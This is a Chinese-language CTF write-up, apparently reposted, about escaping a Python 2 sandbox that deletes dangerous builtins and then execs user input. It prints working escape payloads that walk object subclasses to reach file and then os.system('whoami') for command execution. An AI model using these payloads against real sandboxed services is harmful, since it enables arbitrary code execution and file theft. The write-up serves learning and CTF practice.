一道簡單的CTFpython沙箱逃逸題目


看了幾天的ssti注入然后了解到有python沙箱逃逸

學過ssti注入的話python沙箱逃逸還是很容易理解的。

看一道CTF題目,源碼的話我改了改,一開始不能用,直接在py2上運行就好。

題目要求讀取./key的值,我們這里來執行命令。

def make_secure():
    UNSAFE = ['open',
              'file',
              'execfile',
              'compile',
              'reload',
              '__import__',
              'eval',
              'input']
    for func in UNSAFE:
        del __builtins__.__dict__[func]
from re import findall
# Remove dangerous builtins
make_secure()
print 'Go Ahead, Expoit me >;D'
while True:
    try:
        # Read user input until the first whitespace character
        inp = findall('\S+', raw_input())[0]
        a = None
        # Set a to the result from executing the user input
        exec 'a=' + inp
        print 'Return Value:', a
    except Exception as e:
		print 'Exception:', e  

題目一開始就刪除了些危險函數,比如file等。

那刪除和沒刪除有什么區別呢?

通俗來說,就是不能直接調用了。builtins里面被刪除的函數不能被直接調用了。

那我們能不能通過別的辦法調用file呢?答案是肯定的

"".__class__.__mro__[2].__subclasses__()[40]
這段不是builtins里面的函數,是直接從object拿來調用的,所以沒問題。  

很輕松的就讀到了key,可我們的目標是提權。

  • 我想用os模塊,一種是從別的模塊能不能直接調用它:
<class 'site._Printer'> [71](可以直接調用os模塊)  
  • 另一種需要eval配合__import__導入os模塊
<class 'warnings.catch_warnings'>[59]     
 open,eval,file,__import__,reload(並沒有os,需要用eval配合__import__導入),可是這段需要builtins,里面的__import__被刪除了。這個辦法我想應該行不通。  

所以我們先找到<class 'site._Printer'>模塊

''.__class__.__mro__[2].__subclasses__()[72]    
''.__class__.__mro__[2].__subclasses__()[71]
兩個都試試,我linux和windows不一樣不知道為啥,然后
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('whoami')完成命令執行  


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM